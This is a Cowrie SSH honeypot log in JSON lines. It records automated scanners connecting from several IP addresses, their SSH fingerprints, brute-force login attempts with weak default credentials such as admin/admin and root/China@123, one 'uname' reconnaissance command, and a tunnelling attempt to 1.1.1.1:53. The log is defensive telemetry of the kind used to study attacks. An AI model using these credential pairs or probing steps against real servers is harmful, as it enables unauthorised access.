{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:21.988948Z","src_ip":"141.11.88.14","session":"6d0c3241cf4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"abc","message":"login attempt [abc/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:23.042184Z","src_ip":"141.11.88.14","session":"6d0c3241cf4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:24.208558Z","src_ip":"141.11.88.14","session":"6d0c3241cf4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":34498,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec940e9e647d","protocol":"ssh","message":"New connection: 141.11.88.14:34498 (10.17.0.5:22) [session: ec940e9e647d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:28.876549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:28.980883Z","src_ip":"141.11.88.14","session":"ec940e9e647d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:28.983814Z","src_ip":"141.11.88.14","session":"ec940e9e647d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":49780,"dst_ip":"10.17.0.5","dst_port":22,"session":"70dc64ee20dc","protocol":"ssh","message":"New connection: 177.85.247.230:49780 (10.17.0.5:22) [session: 70dc64ee20dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:29.580837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:29.585351Z","src_ip":"177.85.247.230","session":"70dc64ee20dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:29.688396Z","src_ip":"177.85.247.230","session":"70dc64ee20dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:30.133425Z","src_ip":"177.85.247.230","session":"70dc64ee20dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rosa","password":"rosa","message":"login attempt [rosa/rosa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:30.156751Z","src_ip":"141.11.88.14","session":"ec940e9e647d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:31.240393Z","src_ip":"177.85.247.230","session":"70dc64ee20dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:31.417071Z","src_ip":"141.11.88.14","session":"ec940e9e647d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14302,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa3c2f2a97e8","protocol":"ssh","message":"New connection: 87.251.64.176:14302 (10.17.0.5:22) [session: aa3c2f2a97e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:33.387647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:33.395014Z","src_ip":"87.251.64.176","session":"aa3c2f2a97e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:33.498859Z","src_ip":"87.251.64.176","session":"aa3c2f2a97e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:33.813807Z","src_ip":"87.251.64.176","session":"aa3c2f2a97e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:33.921993Z","session":"aa3c2f2a97e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:34.027308Z","src_ip":"87.251.64.176","session":"aa3c2f2a97e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:34.134332Z","src_ip":"87.251.64.176","session":"aa3c2f2a97e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5836,"dst_ip":"10.17.0.5","dst_port":22,"session":"db41499b9261","protocol":"ssh","message":"New connection: 196.188.93.169:5836 (10.17.0.5:22) [session: db41499b9261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:35.700686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:35.705380Z","src_ip":"196.188.93.169","session":"db41499b9261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:35.872537Z","src_ip":"196.188.93.169","session":"db41499b9261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":34516,"dst_ip":"10.17.0.5","dst_port":22,"session":"60167191db75","protocol":"ssh","message":"New connection: 141.11.88.14:34516 (10.17.0.5:22) [session: 60167191db75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:36.059097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:36.065636Z","src_ip":"141.11.88.14","session":"60167191db75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:36.193965Z","src_ip":"141.11.88.14","session":"60167191db75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"China@123","message":"login attempt [root/China@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:36.570940Z","src_ip":"196.188.93.169","session":"db41499b9261","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:36.754111Z","src_ip":"141.11.88.14","session":"60167191db75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:37.031282Z","src_ip":"141.11.88.14","session":"60167191db75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:37.034652Z","src_ip":"141.11.88.14","session":"60167191db75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:37.134437Z","src_ip":"141.11.88.14","session":"60167191db75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:37.138367Z","src_ip":"141.11.88.14","session":"60167191db75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:37.745164Z","src_ip":"196.188.93.169","session":"db41499b9261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59350,"dst_ip":"10.17.0.5","dst_port":22,"session":"188e0f93419e","protocol":"ssh","message":"New connection: 141.11.88.14:59350 (10.17.0.5:22) [session: 188e0f93419e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:43.017650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:43.093706Z","src_ip":"141.11.88.14","session":"188e0f93419e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:43.230145Z","src_ip":"141.11.88.14","session":"188e0f93419e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dany","password":"dany123","message":"login attempt [dany/dany123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:43.902279Z","src_ip":"141.11.88.14","session":"188e0f93419e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:44.989686Z","src_ip":"141.11.88.14","session":"188e0f93419e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":55676,"dst_ip":"10.17.0.5","dst_port":22,"session":"2063c4928831","protocol":"ssh","message":"New connection: 141.11.88.14:55676 (10.17.0.5:22) [session: 2063c4928831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:49.480961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:49.693431Z","src_ip":"141.11.88.14","session":"2063c4928831","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:49.699193Z","src_ip":"141.11.88.14","session":"2063c4928831","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:50.422533Z","src_ip":"141.11.88.14","session":"2063c4928831","protocol":"ssh"}
